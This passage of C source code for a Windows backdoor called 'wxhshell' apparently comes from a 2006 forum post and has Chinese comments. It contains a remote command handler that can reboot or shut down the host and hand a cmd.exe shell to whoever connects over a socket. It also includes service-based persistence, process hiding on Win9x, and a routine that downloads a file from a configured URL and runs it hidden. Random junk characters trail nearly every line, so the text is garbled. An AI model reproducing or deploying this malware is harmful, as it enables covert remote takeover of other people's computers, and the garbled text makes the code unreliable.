    switch(cmd[0]) { ,Z9>h[JF  
  &jA\hg#9  
  // 帮助 *hhmTc#  
  case '?': { /hWd/H]  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4Aes#{R3v  
    break; ,Dmc2D  
  } ]:]H:U]p  
  // 安装 #U7_a{cn"M  
  case 'i': { )P&9A)8  
    if(Install()) y8Xv~4qQW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F'8T;J7  
    else >T3H qYX5W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &Nl2s ey  
    break; M6|I6M<  
    } 5E\#%K[  
  // 卸载 +YY8h>hj  
  case 'r': { zR6siAV9  
    if(Uninstall()) qZk'tRv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @ T ;L$x  
    else fG LG$b  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @~ Dh'w2q  
    break; c~,23wP1  
    } eitu!=u  
  // 显示 wxhshell 所在路径 b8KsR=]4I  
  case 'p': { c{#yx_)V&  
    char svExeFile[MAX_PATH]; \0;(VLN'U  
    strcpy(svExeFile,"\n\r"); )+y G+  
      strcat(svExeFile,ExeFile); 8;P2A\ X  
        send(wsh,svExeFile,strlen(svExeFile),0); i%Z2wP.o  
    break; ;^u*hZN[Up  
    } Wl"0m1G  
  // 重启 t G.(flW,  
  case 'b': { m4w ') r~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )emOKS  
    if(Boot(REBOOT)) F!!N9VIC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o5o^TW{  
    else { w FtN+  
    closesocket(wsh); V\~WvV  
    ExitThread(0); oP?YA-#nc  
    } \t4tiCw  
    break; Z,7R;,qX  
    } H[Q_hY[>V  
  // 关机 r`\A nT?  
  case 'd': { mg:!4O$K  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1nhtM  
    if(Boot(SHUTDOWN)) 5~ 'Ie<Y_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *ZSdl 0e  
    else { A~ (l{g  
    closesocket(wsh); ~i;fDQ&!  
    ExitThread(0); zdun,`6  
    } #Doq P:  
    break; SjEAuRDvUz  
    } O09ke-lC  
  // 获取shell ,1{Ep`  
  case 's': { hqSJ(gs{  
    CmdShell(wsh); M[ 5[N{  
    closesocket(wsh); `\Ku]6J]5  
    ExitThread(0); Vn=qV3OE]  
    break; KLQTKMNv  
  } mY!iu(R1  
  // 退出 ?dZt[vAMn  
  case 'x': { NF$\^WvYSP  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); N[|Nxm0z/C  
    CloseIt(wsh); X~.f7Ao[  
    break; 1n*W2:,z  
    } ~`#-d ^s:  
  // 离开 OK|qv[  
  case 'q': { " K*  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); xFv;1Q  
    closesocket(wsh); JOn yrks  
    WSACleanup(); 4JIYbb-a'  
    exit(1); lG<hlYckv  
    break; Wo$%9!W  
        } 8euZTfK9e  
  } cTZ.}eLh  
  } ,38Eq`5&W  
\[2lvft!  
  // 提示信息 $gle8Z-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n_D8JF  
} &Bb<4R  
  } @+,pN6}g  
L];y}]:F*  
  return; 'WyTI^K9  
} ?wpB`  
^,Ydr~|T  
// shell模块句柄 <oMUQ*OtV  
int CmdShell(SOCKET sock) }1 vT)  
{ _1Z=q.sC  
STARTUPINFO si; lt'I,Xt  
ZeroMemory(&si,sizeof(si)); Eu<1Bse;  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Mq%,lJA\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #S g\q8(O  
PROCESS_INFORMATION ProcessInfo; L?&'xzt B  
char cmdline[]="cmd"; ni&*E~a  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6X g]/FD  
  return 0; }*U[>Z-eO  
} 2Nc>6  
@{ ;XZb^  
// 自身启动模式 :B *}^g  
int StartFromService(void) uUR~&8ERX  
{ M<?Q4a'Q  
typedef struct 2h30\/xkU  
{ ?`?T7w|3 y  
  DWORD ExitStatus; {y kYW%3s  
  DWORD PebBaseAddress; XV>JD/K2  
  DWORD AffinityMask; YOyX[&oi  
  DWORD BasePriority; SJ' % ^  
  ULONG UniqueProcessId; 7[v%GoE  
  ULONG InheritedFromUniqueProcessId; +m\|e{G  
}   PROCESS_BASIC_INFORMATION; {2'm^0Kl  
Jhkvd<L8`m  
PROCNTQSIP NtQueryInformationProcess;  Fnx`Ri  
J<j&;:IRd  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; dpZ;l 9  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9$K;Raz%  
/Wk9-uH  
  HANDLE             hProcess; )w~Fo,   
  PROCESS_BASIC_INFORMATION pbi; Nf,Z;5e  
r4_eTrC,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <S"~vKD'  
  if(NULL == hInst ) return 0; De  *7OC  
["<nq`~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~!6K]hB4  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); JeH;v0  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); t/i5,le  
C2e.2)y  
  if (!NtQueryInformationProcess) return 0; F-Z%6O,2  
UnWW/]E  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); a.F Al@Br  
  if(!hProcess) return 0; )8gGv  
Aez2*g3  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8Ad606  
%6j)=IOts  
  CloseHandle(hProcess); Q<tu)Qo  
4NEq$t$Jn  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); zQy"m-Q  
if(hProcess==NULL) return 0; 3ucP(Ex@tg  
CCijf]+  
HMODULE hMod; JM$.O;y -  
char procName[255]; nHFrG =o,  
unsigned long cbNeeded; "LhUxnll  
.o{0+fC#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ytEC   
GDaN  
  CloseHandle(hProcess); _=6 rE  
+WJ(QZEhD  
if(strstr(procName,"services")) return 1; // 以服务启动 _S0+;9fhY  
ajhEL?%D  
  return 0; // 注册表启动 z:Sigo_z[  
} D bX{#4lx  
{aKqXL[UP  
// 主模块 F#|O@.tDG  
int StartWxhshell(LPSTR lpCmdLine) P'@<:S|  
{ Upl6:xYrG  
  SOCKET wsl; |rRO@18dA  
BOOL val=TRUE; OY-w?'p?W  
  int port=0; _Yb _D/  
  struct sockaddr_in door; ~0"p*?^  
N8cAqr  
  if(wscfg.ws_autoins) Install(); 5}ie]/[|  
=iB,["s  
port=atoi(lpCmdLine); BI[JATZG  
~i'Nqe_  
if(port<=0) port=wscfg.ws_port; ;Z[]{SQ  
V5}nOGV9  
  WSADATA data; V2Q$g^X'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; SD\= m/W  
/{2*WI;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   t5k!W7C  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Myat{OF  
  door.sin_family = AF_INET; dth&?/MERL  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5@Bu99`  
  door.sin_port = htons(port); ]36sZ *  
qr\ !*\9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { t,)N('m}=  
closesocket(wsl); bZ _mYyBh  
return 1; <<A`aU^fX  
} Wx'Kp+9'  
+eX)48  
  if(listen(wsl,2) == INVALID_SOCKET) { S&C1TC  
closesocket(wsl); X8eJ4%  
return 1; 1x J TWWj-  
} GnXNCeE`  
  Wxhshell(wsl); ivgpS5 M`Y  
  WSACleanup(); ajl 2I/D  
wu<])&F  
return 0; Bc-yxjsw  
SZ![%)83  
} ({0)@+V8  
v <\A%  
// 以NT服务方式启动 " }gVAAvc7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) q}uHFp/J  
{ W_O)~u8  
DWORD   status = 0; a\uie$"cr]  
  DWORD   specificError = 0xfffffff; /T^ JS  
5M]z5}n/  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ek aFN\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; cR-~)UyrO  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; nq} Q  
  serviceStatus.dwWin32ExitCode     = 0; `7aDEzmJ  
  serviceStatus.dwServiceSpecificExitCode = 0; y]..= z_ql  
  serviceStatus.dwCheckPoint       = 0; >C WKH~  
  serviceStatus.dwWaitHint       = 0; 7DW]JK l  
lor8@Qz  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3LR p2(A  
  if (hServiceStatusHandle==0) return; ;Lw{XqT  
M_ 0zC1  
status = GetLastError(); 1xNVdI   
  if (status!=NO_ERROR) 7fp(R&)1  
{ ,[p T4G  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; bok.j  
    serviceStatus.dwCheckPoint       = 0; <BWkUZz\P|  
    serviceStatus.dwWaitHint       = 0; pZZgIw}aS  
    serviceStatus.dwWin32ExitCode     = status; L gmvKW|  
    serviceStatus.dwServiceSpecificExitCode = specificError; &MR/6"/s  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); z9 u$~  
    return; D;GD<zC]  
  } xieP "6  
5lKJll^2:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %ugHhS!  
  serviceStatus.dwCheckPoint       = 0; MJ<Jb,D1  
  serviceStatus.dwWaitHint       = 0; {cK^,?x  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }y%`)lz~;  
} :H6FPV78  
+1C3`0(  
// 处理NT服务事件,比如:启动、停止 wyx(FinIH  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "Y`3DxXz  
{ B(k=oXDF  
switch(fdwControl) wmNHT _  
{ _s,ao '/  
case SERVICE_CONTROL_STOP: wo2@hav  
  serviceStatus.dwWin32ExitCode = 0; `i ,_aFB|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; )|j[uh6w o  
  serviceStatus.dwCheckPoint   = 0; zxb/  
  serviceStatus.dwWaitHint     = 0; o 6{\Zzp  
  { .Hhhi  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Op.8a`XLt&  
  } S-+"@>{HJ  
  return; s6*ilq1  
case SERVICE_CONTROL_PAUSE: .%EL\2  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; uxn)R#?  
  break; kEeo5X N  
case SERVICE_CONTROL_CONTINUE: e;bYaM4 UX  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Mpue   
  break; 8rZ!ia!  
case SERVICE_CONTROL_INTERROGATE: C F!Sa6  
  break; MmPU7Nl%X  
}; _3iHkQr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =-cwXo{Q.O  
} zo{/'BnU  
EqiFy"H  
// 标准应用程序主函数 O-vGyNxP|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) sML=5=otx  
{ =d 2r6%v  
MfF~8  
// 获取操作系统版本 #$~ba %t9%  
OsIsNt=GetOsVer(); r'LVa6e"N  
GetModuleFileName(NULL,ExeFile,MAX_PATH); '[|+aJ  
# M, 7  
  // 从命令行安装 )"(]Lf's  
  if(strpbrk(lpCmdLine,"iI")) Install(); ql{(Lf$  
Jo(`zuLJ  
  // 下载执行文件 mM.*b@d-  
if(wscfg.ws_downexe) { >DM44  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) V~DMtB7  
  WinExec(wscfg.ws_filenam,SW_HIDE); Xm2\0=v5;  
} /StTb,  
5FVndMM#y  
if(!OsIsNt) { :%&Q-kk4!  
// 如果时win9x,隐藏进程并且设置为注册表启动 M6 9 w-  
HideProc(); vD/NgRBww  
StartWxhshell(lpCmdLine); 5[l8y ,  
} {U]H;~3 ?  
else 0l*]L`]L#  
  if(StartFromService()) w1x" c>1C  
  // 以服务方式启动 ' #NcZy  
  StartServiceCtrlDispatcher(DispatchTable); k- V,~c  
else ~9^)wCM+  
  // 普通方式启动 M$4k;  
  StartWxhshell(lpCmdLine); e"]8T},  
W/z7"#  
return 0; x_=n-lAF  
}
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只看该作者 1 发表于: 2006-10-10
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